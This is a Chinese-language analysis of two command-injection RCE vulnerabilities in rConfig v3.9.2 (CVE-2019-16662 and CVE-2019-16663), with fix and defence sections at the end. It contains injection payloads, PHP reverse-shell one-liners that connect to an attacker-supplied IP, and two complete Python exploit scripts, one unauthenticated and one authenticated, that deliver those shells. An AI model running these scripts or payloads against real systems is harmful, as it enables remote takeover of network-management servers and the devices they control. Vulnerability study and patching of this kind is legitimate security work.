rConfig v3.9.2 授权认证与未授权RCE (CVE-2019-16663) 、(CVE-2019-16662)
字数 884 2025-08-26 22:11:34

rConfig v3.9.2 授权认证与未授权RCE漏洞分析 (CVE-2019-16663, CVE-2019-16662)

1. 漏洞概述

rConfig是一个开源网络设备配置管理工具,用于网络工程师管理网络设备配置。在v3.9.2版本中存在两个远程代码执行漏洞:

  1. CVE-2019-16662 - 未授权远程代码执行漏洞
  2. CVE-2019-16663 - 需要认证的远程代码执行漏洞

2. 漏洞分析

2.1 未授权RCE (CVE-2019-16662)

漏洞文件: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php

漏洞代码分析:

$rootUname = $_GET['rootUname']; // 第2行,直接获取GET参数
...
$rootTestCmd1 = 'uname -a | grep ' . $rootUname; // 第12行,拼接命令
exec($rootTestCmd1, $output, $return); // 第13行,执行命令

漏洞原理:

  • 攻击者可以通过rootUname参数注入任意命令
  • 由于参数未经过滤直接拼接进系统命令并执行,导致RCE

利用方法:
使用以下Payload格式:

;your command #

例如:

;id #

反弹shell Payload:

;php -r '$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' #

2.2 需要认证的RCE (CVE-2019-16663)

漏洞文件: /lib/crud/search.crud.php

漏洞代码分析:

if (!empty($_GET['searchTerm'])) { // 第25行,检查searchTerm参数
    ...
    $command = 'cat ' . $catLoc . ' | grep -i "' . $searchTerm . '" | head -' . $maxLines; // 第61行,拼接命令
    exec($command, $output, $return); // 第63行,执行命令
}

漏洞原理:

  • 需要发送包含searchTerm参数的GET请求
  • 通过catCommand参数注入命令
  • 命令拼接后未经充分过滤即执行

利用方法:
使用以下Payload格式:

""&&$(your command)#

例如测试Payload:

""&&$(sleep 5)#

反弹shell Payload:

""&&php -r '$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'#

## 3. 漏洞利用工具

### 3.1 未授权RCE利用脚本

```python
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# CVE : CVE-2019-16662

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"

url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
requests.get(url_to_send, verify=False)

3.2 需要认证的RCE利用脚本

#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# CVE : CVE-2019-16663

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print "[+] Usage : ./exploit.py target username password ip port"
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()
login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
    print "[+] LoggedIn successfully"
    payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
    print "[+] triggering the payload"
    exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
    print "[-] Wrong credentials !"
    exit()

4. 漏洞修复

开发者已在后续版本中修复了这些漏洞,修复方式包括:

  1. 对用户输入进行严格过滤
  2. 使用安全的命令执行方式
  3. 添加必要的身份验证检查

修复提交可见于:
https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071

5. 防御建议

  1. 升级到最新版本的rConfig
  2. 对用户输入进行严格过滤和验证
  3. 避免直接将用户输入拼接到系统命令中
  4. 使用最小权限原则运行应用程序
  5. 部署Web应用防火墙(WAF)规则来拦截可疑的命令注入尝试
rConfig v3.9.2 授权认证与未授权RCE漏洞分析 (CVE-2019-16663, CVE-2019-16662) 1. 漏洞概述 rConfig是一个开源网络设备配置管理工具,用于网络工程师管理网络设备配置。在v3.9.2版本中存在两个远程代码执行漏洞: CVE-2019-16662 - 未授权远程代码执行漏洞 CVE-2019-16663 - 需要认证的远程代码执行漏洞 2. 漏洞分析 2.1 未授权RCE (CVE-2019-16662) 漏洞文件 : /install/lib/ajaxHandlers/ajaxServerSettingsChk.php 漏洞代码分析 : 漏洞原理 : 攻击者可以通过 rootUname 参数注入任意命令 由于参数未经过滤直接拼接进系统命令并执行,导致RCE 利用方法 : 使用以下Payload格式: 例如: 反弹shell Payload : 2.2 需要认证的RCE (CVE-2019-16663) 漏洞文件 : /lib/crud/search.crud.php 漏洞代码分析 : 漏洞原理 : 需要发送包含 searchTerm 参数的GET请求 通过 catCommand 参数注入命令 命令拼接后未经充分过滤即执行 利用方法 : 使用以下Payload格式: 例如测试Payload: 反弹shell Payload : 3.2 需要认证的RCE利用脚本 4. 漏洞修复 开发者已在后续版本中修复了这些漏洞,修复方式包括: 对用户输入进行严格过滤 使用安全的命令执行方式 添加必要的身份验证检查 修复提交可见于: https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 5. 防御建议 升级到最新版本的rConfig 对用户输入进行严格过滤和验证 避免直接将用户输入拼接到系统命令中 使用最小权限原则运行应用程序 部署Web应用防火墙(WAF)规则来拦截可疑的命令注入尝试